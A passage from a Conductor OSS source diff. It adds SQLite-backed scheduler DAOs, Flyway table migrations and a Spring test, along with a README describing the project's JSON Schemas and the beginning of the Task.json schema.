(rs, rowNum) -> rs.getString("schedule_name"), + archivalMaxRecordThreshold); + + for (String scheduleName : scheduleNames) { + String deleteSql = + "DELETE FROM workflow_scheduled_executions " + + "WHERE schedule_name = ? " + + "AND execution_id NOT IN (" + + " SELECT execution_id FROM workflow_scheduled_executions " + + " WHERE schedule_name = ? " + + " ORDER BY scheduled_time DESC " + + " LIMIT ?" + + ")"; + int deleted = jdbc.update(deleteSql, scheduleName, scheduleName, archivalMaxRecords); + if (deleted > 0) { + log.info( + "Cleaned up {} old archival records for schedule: {}", + deleted, + scheduleName); + } + } + } + + private RowMapper executionRowMapper() { + return (rs, rowNum) -> { + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(rs.getString("execution_id")); + model.setScheduleName(rs.getString("schedule_name")); + model.setWorkflowName(rs.getString("workflow_name")); + model.setWorkflowId(rs.getString("workflow_id")); + model.setReason(rs.getString("reason")); + model.setStackTrace(rs.getString("stack_trace")); + String stateStr = rs.getString("state"); + if (stateStr != null) { + model.setState(WorkflowScheduleExecutionModel.State.valueOf(stateStr)); + } + model.setScheduledTime(rs.getObject("scheduled_time", Long.class)); + model.setExecutionTime(rs.getObject("execution_time", Long.class)); + model.setStartWorkflowRequest( + deserializeStartWorkflowRequest(rs.getString("start_workflow_request"))); + return model; + }; + } + + private String serializeStartWorkflowRequest(StartWorkflowRequest request) { + if (request == null) { + return null; + } + try { + return objectMapper.writeValueAsString(request); + } catch (JsonProcessingException e) { + throw new NonTransientException("Failed to serialize StartWorkflowRequest to JSON", e); + } + } + + private StartWorkflowRequest deserializeStartWorkflowRequest(String json) { + if (json == null || json.isEmpty()) { + return null; + } + try { + return objectMapper.readValue(json, StartWorkflowRequest.class); + } catch (Exception e) { + throw new NonTransientException( + "Failed to deserialize StartWorkflowRequest from JSON", e); + } + } +} diff --git a/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerDAO.java b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerDAO.java new file mode 100644 index 0000000..fe0ec38 --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerDAO.java @@ -0,0 +1,248 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.sqlite.dao; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.RowMapper; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * SQLite implementation of {@link SchedulerDAO}. + * + *

    Mirrors the Orkes Conductor schema: schedules and execution records are stored as JSON blobs + * in {@code scheduler} and {@code scheduler_execution} tables respectively. The {@code + * scheduler_execution} table additionally carries {@code schedule_name} and {@code state} columns + * to support efficient queries (OSS has no queue infrastructure to offload this work). + * + *

    Managed by Flyway ({@code db/migration_scheduler_sqlite}). + */ +public class SqliteSchedulerDAO implements SchedulerDAO { + + private final JdbcTemplate jdbc; + private final ObjectMapper objectMapper; + + public SqliteSchedulerDAO(DataSource dataSource, ObjectMapper objectMapper) { + this.jdbc = new JdbcTemplate(dataSource); + this.objectMapper = objectMapper; + } + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + jdbc.update( + "INSERT OR REPLACE INTO scheduler (scheduler_name, workflow_name, json_data, next_run_time) " + + "VALUES (?, ?, ?, ?)", + schedule.getName(), + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest().getName() + : null, + toJson(schedule), + schedule.getNextRunTime()); + // Reset the cached next-run-time so SchedulerService can set a fresh value + // via setNextRunTimeInEpoch after recomputing the schedule. + jdbc.update("DELETE FROM scheduler_next_run WHERE key = ?", schedule.getName()); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + String sql = "SELECT json_data FROM scheduler WHERE scheduler_name = ?"; + List results = jdbc.query(sql, scheduleRowMapper(), name); + return results.isEmpty() ? null : results.get(0); + } + + @Override + public List getAllSchedules() { + return jdbc.query("SELECT json_data FROM scheduler", scheduleRowMapper()); + } + + @Override + public List findAllSchedules(String workflowName) { + String sql = "SELECT json_data FROM scheduler WHERE workflow_name = ?"; + return jdbc.query(sql, scheduleRowMapper(), workflowName); + } + + @Override + public Map findAllByNames(Set names) { + if (names == null || names.isEmpty()) { + return new HashMap<>(); + } + String placeholders = names.stream().map(n -> "?").collect(Collectors.joining(", ")); + String sql = + "SELECT json_data FROM scheduler WHERE scheduler_name IN (" + placeholders + ")"; + List schedules = + jdbc.query(sql, scheduleRowMapper(), names.toArray(new Object[0])); + Map result = new HashMap<>(); + for (WorkflowScheduleModel s : schedules) { + result.put(s.getName(), s); + } + return result; + } + + @Override + public void deleteWorkflowSchedule(String name) { + jdbc.update("DELETE FROM scheduler_execution WHERE schedule_name = ?", name); + jdbc.update("DELETE FROM scheduler_next_run WHERE key = ?", name); + jdbc.update("DELETE FROM scheduler WHERE scheduler_name = ?", name); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel execution) { + String sql = + "INSERT OR REPLACE INTO scheduler_execution (execution_id, schedule_name, state, json_data) " + + "VALUES (?, ?, ?, ?)"; + jdbc.update( + sql, + execution.getExecutionId(), + execution.getScheduleName(), + execution.getState() != null ? execution.getState().name() : null, + toJson(execution)); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + String sql = "SELECT json_data FROM scheduler_execution WHERE execution_id = ?"; + List results = + jdbc.query(sql, executionRowMapper(), executionId); + return results.isEmpty() ? null : results.get(0); + } + + @Override + public void removeExecutionRecord(String executionId) { + jdbc.update("DELETE FROM scheduler_execution WHERE execution_id = ?", executionId); + } + + @Override + public List getPendingExecutionRecordIds() { + return jdbc.queryForList( + "SELECT execution_id FROM scheduler_execution WHERE state = 'POLLED'", + String.class); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + List results = + jdbc.queryForList( + "SELECT epoch_millis FROM scheduler_next_run WHERE key = ?", + Long.class, + scheduleName); + if (results.isEmpty() || results.get(0) == null) { + return -1L; + } + return results.get(0); + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMillis) { + // INSERT OR REPLACE accepts any key: schedule names (single-cron) and JSON payload + // strings like {"name":"s","cron":"...","id":0} (multi-cron) both work. + jdbc.update( + "INSERT OR REPLACE INTO scheduler_next_run (key, epoch_millis) VALUES (?, ?)", + scheduleName, + epochMillis); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + StringBuilder sql = new StringBuilder("SELECT json_data FROM scheduler WHERE 1=1"); + StringBuilder countSql = new StringBuilder("SELECT COUNT(*) FROM scheduler WHERE 1=1"); + List params = new ArrayList<>(); + List countParams = new ArrayList<>(); + + if (workflowName != null && !workflowName.isEmpty()) { + sql.append(" AND workflow_name = ?"); + countSql.append(" AND workflow_name = ?"); + params.add(workflowName); + countParams.add(workflowName); + } + if (scheduleName != null && !scheduleName.isEmpty()) { + sql.append(" AND scheduler_name LIKE ?"); + countSql.append(" AND scheduler_name LIKE ?"); + params.add("%" + scheduleName + "%"); + countParams.add("%" + scheduleName + "%"); + } + if (paused != null) { + sql.append(" AND json_extract(json_data, '$.paused') = ?"); + countSql.append(" AND json_extract(json_data, '$.paused') = ?"); + // SQLite json_extract returns 1/0 for booleans, not true/false + params.add(paused ? 1 : 0); + countParams.add(paused ? 1 : 0); + } + + long totalHits = + jdbc.queryForObject( + countSql.toString(), Long.class, countParams.toArray(new Object[0])); + + sql.append(" ORDER BY scheduler_name LIMIT ? OFFSET ?"); + params.add(size); + params.add(start); + + List results = + jdbc.query(sql.toString(), scheduleRowMapper(), params.toArray(new Object[0])); + + return new SearchResult<>(totalHits, results); + } + + private RowMapper scheduleRowMapper() { + return (rs, rowNum) -> { + try { + return objectMapper.readValue( + rs.getString("json_data"), WorkflowScheduleModel.class); + } catch (Exception e) { + throw new NonTransientException("Failed to deserialize WorkflowScheduleModel", e); + } + }; + } + + private RowMapper executionRowMapper() { + return (rs, rowNum) -> { + try { + return objectMapper.readValue( + rs.getString("json_data"), WorkflowScheduleExecutionModel.class); + } catch (Exception e) { + throw new NonTransientException( + "Failed to deserialize WorkflowScheduleExecutionModel", e); + } + }; + } + + private String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException e) { + throw new NonTransientException("Failed to serialize to JSON", e); + } + } +} diff --git a/scheduler/sqlite-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/sqlite-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..d2dec51 --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.scheduler.sqlite.config.SqliteSchedulerConfiguration diff --git a/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V1__scheduler_tables.sql b/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V1__scheduler_tables.sql new file mode 100644 index 0000000..941552a --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V1__scheduler_tables.sql @@ -0,0 +1,56 @@ +-- Scheduler tables for Conductor OSS (SQLite). +-- Schema mirrors Orkes Conductor (table names, column names, json_data pattern). +-- Multi-tenancy (org_id) is an Orkes enterprise feature and is omitted here. + +CREATE TABLE IF NOT EXISTS scheduler ( + scheduler_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255) NOT NULL, + json_data TEXT NOT NULL, + next_run_time BIGINT, + PRIMARY KEY (scheduler_name) +); + +CREATE INDEX IF NOT EXISTS scheduler_workflow_name_idx + ON scheduler (workflow_name); + +CREATE INDEX IF NOT EXISTS scheduler_next_run_time_idx + ON scheduler (next_run_time); + +-- Live execution records. json_data holds the full WorkflowScheduleExecution JSON. +-- schedule_name and state are redundant columns kept for efficient SQL queries +-- (OSS has no queue infrastructure to offload pending-execution tracking). +CREATE TABLE IF NOT EXISTS scheduler_execution ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + state VARCHAR(50) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (execution_id) +); + +CREATE INDEX IF NOT EXISTS scheduler_execution_schedule_name_idx + ON scheduler_execution (schedule_name); + +CREATE INDEX IF NOT EXISTS scheduler_execution_state_idx + ON scheduler_execution (state); + +-- Archival table for completed execution history (mirrors Orkes workflow_scheduled_executions). +-- Rows are moved here from scheduler_execution after completion and pruned to archivalMaxRecords. +CREATE TABLE IF NOT EXISTS workflow_scheduled_executions ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255), + workflow_id VARCHAR(255), + reason VARCHAR(1024), + stack_trace TEXT, + state VARCHAR(50) NOT NULL, + scheduled_time BIGINT NOT NULL, + execution_time BIGINT, + start_workflow_request TEXT, + PRIMARY KEY (execution_id) +); + +CREATE INDEX IF NOT EXISTS workflow_scheduled_executions_schedule_name_idx + ON workflow_scheduled_executions (schedule_name); + +CREATE INDEX IF NOT EXISTS workflow_scheduled_executions_execution_time_idx + ON workflow_scheduled_executions (execution_time); diff --git a/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V2__scheduler_next_run_table.sql b/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V2__scheduler_next_run_table.sql new file mode 100644 index 0000000..5b4c313 --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V2__scheduler_next_run_table.sql @@ -0,0 +1,13 @@ +-- Dedicated key-value store for scheduler next-run times. +-- +-- Rationale: the scheduler.next_run_time column only supports one entry per schedule name +-- (the table PK). Multi-cron schedules require a separate entry per cron expression, keyed +-- by a JSON payload string (e.g. {"name":"s","cron":"0 0 8 * * ? UTC","id":0}). A standalone +-- table supports both schedule-name keys (single-cron) and arbitrary payload keys (multi-cron) +-- without conflating timing state with the schedule definition row. + +CREATE TABLE IF NOT EXISTS scheduler_next_run ( + key TEXT NOT NULL, + epoch_millis INTEGER NOT NULL, + PRIMARY KEY (key) +); diff --git a/scheduler/sqlite-persistence/src/test/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAOTest.java b/scheduler/sqlite-persistence/src/test/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..0f2c09f --- /dev/null +++ b/scheduler/sqlite-persistence/src/test/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAOTest.java @@ -0,0 +1,96 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.sqlite.dao; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.scheduler.dao.AbstractSchedulerArchivalDAOTest; + +/** + * Runs the full {@link AbstractSchedulerArchivalDAOTest} contract suite against an in-memory SQLite + * database. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + SqliteSchedulerArchivalDAOTest.SqliteTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:sqlite::memory:", + "spring.datasource.driver-class-name=org.sqlite.JDBC" + }) +public class SqliteSchedulerArchivalDAOTest extends AbstractSchedulerArchivalDAOTest { + + @TestConfiguration + static class SqliteTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_sqlite") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + DataSource dataSource, ObjectMapper objectMapper) { + return new SqliteSchedulerArchivalDAO(dataSource, objectMapper); + } + } + + @Autowired private SchedulerArchivalDAO schedulerArchivalDAO; + @Autowired private DataSource dataSource; + + @Before + public void cleanUp() { + JdbcTemplate jdbc = new JdbcTemplate(dataSource); + jdbc.update("DELETE FROM workflow_scheduled_executions"); + } + + @Override + protected SchedulerArchivalDAO archivalDao() { + return schedulerArchivalDAO; + } +} diff --git a/schemas/README.md b/schemas/README.md new file mode 100644 index 0000000..c8817cd --- /dev/null +++ b/schemas/README.md @@ -0,0 +1,227 @@ +# Conductor Schemas + +This directory contains JSON Schema definitions for the core data models used in Conductor workflow orchestration. + +## Overview + +JSON Schemas provide a standardized way to describe the structure, validation rules, and documentation for Conductor's data models. These schemas can be used for: + +- **Validation**: Validate workflow and task definitions before submitting them to Conductor +- **Documentation**: Auto-generate API documentation and client libraries +- **IDE Support**: Enable autocomplete and validation in editors that support JSON Schema +- **Code Generation**: Generate strongly-typed client code in various programming languages +- **Contract Testing**: Ensure API responses conform to expected formats + +## Schema Files + +### WorkflowDef.json + +**Purpose**: Defines the structure of a workflow definition (template/blueprint). + +**Key Features**: +- Workflow metadata (name, version, description, owner) +- List of tasks that comprise the workflow +- Input/output parameters and templates +- Timeout and retry policies +- Rate limiting and caching configurations +- Schema enforcement for input/output validation + +**Important Details**: +- Contains a recursive `WorkflowTask` definition that supports complex workflow patterns: + - **Decision tasks**: Branch based on conditions (`decisionCases`, `defaultCase`) + - **Fork-Join tasks**: Execute tasks in parallel (`forkTasks`) + - **Do-While tasks**: Loop over tasks (`loopOver`, `loopCondition`) + - **Sub-workflow tasks**: Embed entire workflows (`subWorkflowParam`) +- The recursive nature allows unlimited nesting depth for complex workflow patterns + +**Use Case**: Use this schema when creating or validating workflow definitions before registering them with Conductor. + +--- + +### TaskDef.json + +**Purpose**: Defines the structure of a task definition (reusable task template). + +**Key Features**: +- Task metadata (name, description, owner) +- Retry configuration (count, delay, logic type) +- Timeout policies and durations +- Rate limiting settings +- Input/output schema validation +- Concurrency controls + +**Important Details**: +- Task definitions are registered separately and can be reused across multiple workflows +- Supports three retry strategies: FIXED, EXPONENTIAL_BACKOFF, LINEAR_BACKOFF +- Timeout policies determine workflow behavior: RETRY, TIME_OUT_WF, ALERT_ONLY + +**Use Case**: Use this schema when creating or validating task definitions that will be referenced by workflows. + +--- + +### Workflow.json + +**Purpose**: Represents a runtime workflow instance (actual execution). + +**Key Features**: +- Current execution status (RUNNING, COMPLETED, FAILED, etc.) +- List of task instances that have been scheduled or executed +- Input/output data for the workflow execution +- Timing information (start, end, update times) +- Parent/child workflow relationships +- Workflow variables and correlation IDs + +**Important Details**: +- Contains a **recursive `history` field** that stores previous executions for workflow versioning and auditing +- References the `WorkflowDef` that defines the workflow structure +- Each workflow has a unique `workflowId` +- Priority ranges from 0-99 (higher = more priority) +- External payload storage paths for large inputs/outputs + +**Use Case**: Use this schema when querying workflow execution status or validating workflow runtime data. + +--- + +### Task.json + +**Purpose**: Represents a runtime task instance (actual task execution). + +**Key Features**: +- Current task status with detailed state information +- Input/output data for the task execution +- Worker information (workerId, domain) +- Retry and poll counts +- Timing data (scheduled, start, end, update times) +- Sub-workflow references for SUB_WORKFLOW tasks + +**Important Details**: +- Task status enum includes: + - **Running states**: IN_PROGRESS, SCHEDULED + - **Success states**: COMPLETED, COMPLETED_WITH_ERRORS, SKIPPED + - **Failure states**: FAILED, FAILED_WITH_TERMINAL_ERROR, TIMED_OUT, CANCELED +- Contains reference to the `WorkflowTask` template definition +- For loop tasks: `iteration` field tracks the current iteration number +- `executionMetadata` provides detailed timing and worker context information + +**Use Case**: Use this schema when querying individual task execution details or validating task runtime data. + +--- + +## Common Patterns + +### Inheritance Hierarchy + +All definition schemas (WorkflowDef, TaskDef, SchemaDef) inherit audit fields from the `Auditable` base class: +- `ownerApp`: Application that owns this definition +- `createTime`: Timestamp when created (milliseconds since epoch) +- `updateTime`: Timestamp when last updated +- `createdBy`: User who created the definition +- `updatedBy`: User who last updated the definition + +Additionally, definitions implement the `Metadata` interface requiring: +- `name`: Unique identifier +- `version`: Version number + +### Recursive Structures + +The schemas correctly model two important recursive relationships in Conductor: + +**WorkflowTask recursion**: Tasks can contain nested tasks for control flow + ``` + WorkflowTask + ├── decisionCases: Map> + ├── defaultCase: List + ├── forkTasks: List> + └── loopOver: List + ``` +### Schema Validation + +Schemas are defined to support JSON Schema validation using the `$ref` keyword. Both internal references (`#/definitions/...`) and external references are supported. + +### Enumerations + +All enum types from the Java code are represented as string enums with allowed values explicitly listed: +- Workflow status: `RUNNING`, `COMPLETED`, `FAILED`, `TIMED_OUT`, `TERMINATED`, `PAUSED` +- Task status: `IN_PROGRESS`, `CANCELED`, `FAILED`, `FAILED_WITH_TERMINAL_ERROR`, `COMPLETED`, `COMPLETED_WITH_ERRORS`, `SCHEDULED`, `TIMED_OUT`, `SKIPPED` +- Timeout policies: `RETRY`, `TIME_OUT_WF`, `ALERT_ONLY` +- Retry logic: `FIXED`, `EXPONENTIAL_BACKOFF`, `LINEAR_BACKOFF` +- Schema types: `JSON`, `AVRO`, `PROTOBUF` + +## Usage Examples + +### Validating a Workflow Definition + +```bash +# Using ajv-cli +ajv validate -s schemas/WorkflowDef.json -d my-workflow.json + +# Using Python with jsonschema +python -c " +import json +import jsonschema + +with open('schemas/WorkflowDef.json') as f: + schema = json.load(f) + +with open('my-workflow.json') as f: + workflow = json.load(f) + +jsonschema.validate(workflow, schema) +print('Valid workflow definition!') +" +``` + +### IDE Integration + +Most modern IDEs support JSON Schema for validation and autocomplete: + +**VS Code**: Add this to the top of your JSON file: +```json +{ + "$schema": "./schemas/WorkflowDef.json", + "name": "my-workflow", + ... +} +``` + +**IntelliJ IDEA**: Configure JSON Schema mappings in Settings → Languages & Frameworks → Schemas and DTDs → JSON Schema Mappings + +## Schema Specifications + +All schemas conform to **JSON Schema Draft 07** specification (`http://json-schema.org/draft-07/schema#`). + +Key validation features used: +- `type`: Data type constraints +- `required`: Required fields +- `minimum`/`maximum`: Numeric bounds +- `minLength`/`maxLength`: String length constraints +- `minItems`: Array minimum length +- `pattern`: Regular expression matching +- `enum`: Allowed values +- `format`: Data format hints (email, int64, etc.) +- `default`: Default values +- `additionalProperties`: Allow/disallow extra fields +- `$ref`: Schema composition and reuse + +## Relationship to Java Models + +These schemas are derived from the Java model classes in the Conductor codebase: + +| Schema File | Java Class | Package | +|-------------|------------|---------| +| WorkflowDef.json | `WorkflowDef` | `com.netflix.conductor.common.metadata.workflow` | +| TaskDef.json | `TaskDef` | `com.netflix.conductor.common.metadata.tasks` | +| Workflow.json | `Workflow` | `com.netflix.conductor.common.run` | +| Task.json | `Task` | `com.netflix.conductor.common.metadata.tasks` | + +The schemas accurately reflect: +- All fields including inherited fields from `Auditable` and `Metadata` +- Jackson annotations for serialization behavior +- Jakarta validation constraints +- Protobuf field mappings + +## Version + +Current schema version: 1.0 +Based on Conductor version: 3.x +Last updated: October 2025 diff --git a/schemas/Task.json b/schemas/Task.json new file mode 100644 index 0000000..71f59ac --- /dev/null +++ b/schemas/Task.json @@ -0,0 +1,378 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://conductoross.org/schemas/Task.json", + "title": "Task", + "description": "Task runtime instance schema", + "type": "object", + "required": ["taskType", "taskId", "workflowInstanceId"], + "properties": { + "taskType": { + "type": "string", + "description": "Type of the task (e.g., SIMPLE, HTTP, SUB_WORKFLOW, etc.)" + }, + "status": { + "type": "string", + "description": "Current status of the task", + "enum": [ + "IN_PROGRESS", + "CANCELED", + "FAILED", + "FAILED_WITH_TERMINAL_ERROR", + "COMPLETED", + "COMPLETED_WITH_ERRORS", + "SCHEDULED", + "TIMED_OUT", + "SKIPPED" + ] + }, + "inputData": { + "type": "object", + "description": "Input data for the task execution", + "additionalProperties": true, + "default": {} + }, + "referenceTaskName": { + "type": "string", + "description": "Reference name of the task as defined in the workflow definition" + }, + "retryCount": { + "type": "integer", + "description": "Current retry count for this task", + "minimum": 0, + "default": 0 + }, + "seq": { + "type": "integer", + "description": "Sequence number of this task in the workflow execution", + "minimum": 0 + }, + "correlationId": { + "type": "string", + "description": "Correlation ID for tracking related tasks" + }, + "pollCount": { + "type": "integer", + "description": "Number of times this task has been polled by workers", + "minimum": 0, + "default": 0 + }, + "taskDefName": { + "type": "string", + "description": "Task definition name (defaults to taskType if not specified)" + }, + "scheduledTime": { + "type": "integer", + "description": "Timestamp when the task was scheduled (milliseconds since epoch)", + "format": "int64", + "minimum": 0 + }, + "startTime": { + "type": "integer", + "description": "Timestamp when the task was first polled (milliseconds since epoch)", + "format": "int64", + "minimum": 0 + }, + "endTime": { + "type": "integer", + "description": "Timestamp when the task completed execution (milliseconds since epoch)", + "format": "int64", + "minimum": 0 + }, + "updateTime": { + "type": "integer", + "description": "Timestamp when the task was last updated (milliseconds since epoch)", + "format": "int64", + "minimum": 0 + }, + "startDelayInSeconds": { + "type": "integer", + "description": "Delay in seconds before the task can be polled", + "minimum": 0, + "default": 0 + }, + "retriedTaskId": { + "type": "string", + "description": "Task ID of the task that was retried to create this task" + }, + "retried": { + "type": "boolean", + "description": "Indicates if this task has been retried", + "default": false + }, + "executed": { + "type": "boolean", + "description": "Indicates if the task has completed its lifecycle", + "default": false + }, + "callbackFromWorker": { + "type": "boolean", + "description": "Whether a callback from the worker is expected", + "default": true + }, + "responseTimeoutSeconds": { + "type": "integer", + "description": "Time in seconds after which the task will be re-queued if no response is received", + "format": "int64", + "minimum": 0 + }, + "workflowInstanceId": { + "type": "string", + "description": "Unique identifier of the workflow instance this task belongs to" + }, + "workflowType": { + "type": "string", + "description": "Name/type of the workflow this task belongs to" + }, + "taskId": { + "type": "string", + "description": "Unique identifier for this task instance" + }, + "reasonForIncompletion": { + "type": "string", + "description": "Reason why the task did not complete successfully (max 500 characters)", + "maxLength": 500 + }, + "callbackAfterSeconds": { + "type": "integer", + "description": "Number of seconds to wait before making the task available for polling again", + "format": "int64", + "minimum": 0, + "default": 0 + }, + "workerId": { + "type": "string", + "description": "Identifier of the worker that is executing or has executed this task" + }, + "outputData": { + "type": "object", + "description": "Output data produced by the task execution", + "additionalProperties": true, + "default": {} + }, + "workflowTask": { + "type": "object", + "description": "The WorkflowTask definition from the workflow definition", + "additionalProperties": true + }, + "domain": { + "type": "string", + "description": "Domain for task execution isolation" + }, + "inputMessage": { + "description": "Input message in protobuf Any format (for protobuf support)" + }, + "outputMessage": { + "description": "Output message in protobuf Any format (for protobuf support)" + }, + "rateLimitPerFrequency": { + "type": "integer", + "description": "Maximum number of task executions allowed per rateLimitFrequencyInSeconds", + "minimum": 0, + "default": 0 + }, + "rateLimitFrequencyInSeconds": { + "type": "integer", + "description": "Time window in seconds for rate limiting", + "minimum": 0, + "default": 0 + }, + "externalInputPayloadStoragePath": { + "type": "string", + "description": "External storage path where the task input payload is stored (when input is too large)" + }, + "externalOutputPayloadStoragePath": { + "type": "string", + "description": "External storage path where the task output payload is stored (when output is too large)" + }, + "workflowPriority": { + "type": "integer", + "description": "Priority value inherited from the workflow", + "minimum": 0, + "maximum": 99, + "default": 0 + }, + "executionNameSpace": { + "type": "string", + "description": "Namespace for task execution" + }, + "isolationGroupId": { + "type": "string", + "description": "Isolation group identifier for task execution isolation" + }, + "iteration": { + "type": "integer", + "description": "Iteration number for tasks in a loop (DO_WHILE tasks)", + "minimum": 0, + "default": 0 + }, + "subWorkflowId": { + "type": "string", + "description": "Workflow ID of the sub-workflow if this is a SUB_WORKFLOW task" + }, + "subworkflowChanged": { + "type": "boolean", + "description": "Flag indicating that a sub-workflow has been modified directly", + "default": false + }, + "firstStartTime": { + "type": "integer", + "description": "Timestamp of the first start time across all retries (milliseconds since epoch)", + "format": "int64", + "minimum": 0 + }, + "executionMetadata": { + "$ref": "#/definitions/ExecutionMetadata" + }, + "parentTaskId": { + "type": "string", + "description": "Task ID of the parent task if this task is associated with a parent (e.g., event tasks)" + } + }, + "definitions": { + "TaskDef": { + "type": "object", + "description": "Task definition reference (can be embedded via workflowTask.taskDefinition)", + "properties": { + "name": { + "type": "string", + "description": "Task definition name" + }, + "description": { + "type": "string", + "description": "Task description" + }, + "retryCount": { + "type": "integer", + "minimum": 0 + }, + "timeoutSeconds": { + "type": "integer", + "minimum": 0 + }, + "timeoutPolicy": { + "type": "string", + "enum": ["RETRY", "TIME_OUT_WF", "ALERT_ONLY"] + }, + "retryLogic": { + "type": "string", + "enum": ["FIXED", "EXPONENTIAL_BACKOFF", "LINEAR_BACKOFF"] + }, + "retryDelaySeconds": { + "type": "integer", + "minimum": 0 + }, + "responseTimeoutSeconds": { + "type": "integer", + "minimum": 1 + }, + "concurrentExecLimit": { + "type": "integer" + }, + "rateLimitPerFrequency": { + "type": "integer" + }, + "rateLimitFrequencyInSeconds": { + "type": "integer" + }, + "isolationGroupId": { + "type": "string" + }, + "executionNameSpace": { + "type": "string" + }, + "ownerEmail": { + "type": "string", + "format": "email" + }, + "pollTimeoutSeconds": { + "type": "integer" + }, + "backoffScaleFactor": { + "type": "integer", + "minimum": 1 + } + } + }, + "WorkflowTask": { + "type": "object", + "description": "Workflow task template definition", + "properties": { + "name": { + "type": "string", + "description": "Task name" + }, + "taskReferenceName": { + "type": "string", + "description": "Unique reference name within the workflow" + }, + "description": { + "type": "string" + }, + "type": { + "type": "string", + "description": "Task type" + }, + "inputParameters": { + "type": "object", + "additionalProperties": true + }, + "optional": { + "type": "boolean" + }, + "startDelay": { + "type": "integer", + "minimum": 0 + }, + "taskDefinition": { + "$ref": "#/definitions/TaskDef" + } + } + }, + 